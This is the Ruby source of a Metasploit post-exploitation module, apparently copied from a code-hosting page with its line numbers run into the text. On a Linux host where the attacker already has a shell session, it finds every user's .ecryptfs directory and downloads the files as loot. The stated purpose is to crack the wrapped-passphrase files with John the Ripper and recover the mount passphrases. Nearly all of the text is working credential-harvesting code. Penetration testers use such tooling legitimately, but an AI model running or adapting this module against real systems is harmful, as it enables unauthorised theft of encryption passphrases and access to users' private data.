Path: blob/master/modules/post/linux/gather/ecryptfs_creds.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Gather eCryptfs Metadata',14'Description' => %q{15This module will collect the contents of all users' .ecrypts directories on16the targeted machine. Collected "wrapped-passphrase" files can be17cracked with John the Ripper (JtR) to recover "mount passphrases".18},19'License' => MSF_LICENSE,20'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],21'Platform' => ['linux'],22'SessionTypes' => ['shell'],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27}28)29)30end3132# This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.3334def run35print_status('Finding .ecryptfs directories')36paths = enum_user_directories.map { |d| d + '/.ecryptfs' }37# Array#select! is only in 1.938paths = paths.select { |d| directory?(d) }3940if paths.nil? || paths.empty?41print_error('No users found with a .ecryptfs directory')42return43end4445download_loot(paths)46end4748def download_loot(paths)49print_status("Looting #{paths.count} directories")50paths.each do |path|51path.chomp!52sep = '/'53files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)5455files.each do |file|56target = "#{path}#{sep}#{file}"57if directory?(target)58next59end6061print_status("Downloading #{path}#{sep}#{file} -> #{file}")62data = read_file(target)63file = file.split(sep).last64loot_path = store_loot("ecryptfs.#{file}", 'text/plain', session, data,65nil, "eCryptfs #{file} File")66print_good("File stored in: #{loot_path}")67end68end69end70end717273